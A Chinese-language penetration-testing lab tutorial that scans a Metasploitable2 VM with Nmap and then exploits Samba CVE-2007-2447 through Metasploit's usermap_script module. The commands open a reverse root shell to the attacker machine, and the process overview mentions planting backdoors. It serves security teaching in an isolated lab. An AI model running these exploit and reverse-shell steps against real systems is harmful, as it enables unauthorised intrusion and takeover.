介绍
在本实验中,你将学习渗透测试的基本流程,并使用 Kali Linux 进行实际的攻击操作。目标是通过利用一个已知的 Samba 漏洞,获取对目标系统的远程 shell 访问权限。本实验为你提供了一个机会,了解真实世界渗透测试场景中的步骤,并练习使用 Nmap 和 Metasploit 等流行的安全工具。
在本实验中,你将学习渗透测试的基本流程,并使用 Kali Linux 进行实际的攻击操作。目标是通过利用一个已知的 Samba 漏洞,获取对目标系统的远程 shell 访问权限。本实验为你提供了一个机会,了解真实世界渗透测试场景中的步骤,并练习使用 Nmap 和 Metasploit 等流行的安全工具。
渗透测试通常包括以下步骤:
信息收集:尽可能多地收集目标系统的信息,包括网络信息、网站内容、目录结构、潜在用户名、开放端口、服务、域名和子域名。可以使用各种工具来完成这一任务。
漏洞扫描:使用扫描工具对目标系统进行全面扫描,以识别漏洞。可以使用自动化扫描工具,也可以使用手动工具对特定服务进行针对性扫描。
漏洞利用:一旦识别出可利用的漏洞,使用适当的工具和技术在目标系统上获取更高级别的访问权限或特权。这可能涉及远程代码执行、注入攻击或其他方法。
维持访问:在目标系统上创建后门或持久访问机制,以便未来访问时避免被检测到。
报告生成:分析发现的结果,并生成一份详细报告,描述发现的漏洞以及渗透测试过程中采取的步骤。这份报告可以帮助目标组织有效地保护其系统。
总之,在了解了渗透测试的基本步骤后,是时候将理论付诸实践了。通过动手练习,我们可以应用所学的知识和技能,在渗透测试领域获得实际经验。
首先,你需要设置实验环境以练习渗透测试场景。
实验环境由两个系统组成:
Kali Linux 容器(攻击机):这是一个运行 Kali Linux 的 Docker 容器,将用于执行攻击。
Metasploitable2 虚拟机(目标机):这是一个易受攻击的 Ubuntu 服务器,作为目标系统。
按照以下步骤设置环境:
sudo virsh start Metasploitable2
等待目标机器启动,可能需要1-3分钟。
ping 192.168.122.102
docker run -ti --network host b5b709a49cd5 bash
ping 192.168.122.102
现在,攻击机和目标机都应该正在运行并且可以访问。你已经准备好开始渗透测试过程了。
在这一步骤中,你将使用 Kali Linux 中的 Nmap 工具扫描目标系统,以发现开放的端口和服务。
/tmp/report.txt
,可能需要几分钟才能完成:nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt
以下是各标志的含义:
-p 1-65535
:扫描所有端口-T4
:设置时间模板(值越高表示扫描速度越快)-A
:启用操作系统检测和版本检测-v
:增加详细程度>/tmp/report.txt
:将输出重定向到文件等待扫描完成(可能需要几分钟)。
使用 cat
命令打开 /tmp/report.txt
文件,分析扫描报告:
cat /tmp/report.txt
报告将列出目标系统上运行的开放端口、服务及其版本。
在本例中,我们将重点关注 Samba 服务,因为 Metasploitable2 系统上运行的 Samba 版本存在一个已知的远程命令执行漏洞(CVE-2007-2447)。以下是 Samba USERNAME MAP SCRIPT 远程命令执行漏洞(CVE-2007-2447)的详细信息:
username map script
配置选项的方式中。当启用此选项时,Samba 在将用户输入传递给 /bin/sh
shell 之前未能正确清理输入,从而允许远程攻击者以 Samba 用户的身份执行任意命令。Samba 官方漏洞描述可以在以下链接找到:http://samba.org/samba/security/CVE-2007-2447.html
我们将用于利用此漏洞的 Metasploit 漏洞利用模块是 exploit/multi/samba/usermap_script
。你可以在以下链接找到该模块的源代码和注释:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb
在这一步骤中,你将使用 Metasploit Framework 来利用 Samba USERNAME MAP SCRIPT 漏洞,并获取目标系统的远程 shell 访问权限。
cd ~
msfconsole
use exploit/multi/samba/usermap_script
cmd/unix/reverse
:set payload cmd/unix/reverse
set RHOST 192.168.122.102
set RPORT 445
set LHOST 192.168.122.1
show options
exploit
如果漏洞利用成功,你将获得目标系统上 root 用户的远程 shell 会话。
exit
退出 shell,返回到 Kali 容器。在本实验中,你学习了渗透测试的基本流程,并通过实际操作体验了真实世界的攻击场景。你设置了一个包含易受攻击目标系统的实验环境,使用 Nmap 进行了漏洞扫描,分析了一个已知的 Samba 漏洞,并利用 Metasploit Framework 成功获取了远程 shell 访问权限。这种实践经验将帮助你更好地理解渗透测试中使用的技术和工具,以及安全系统配置和漏洞管理的重要性。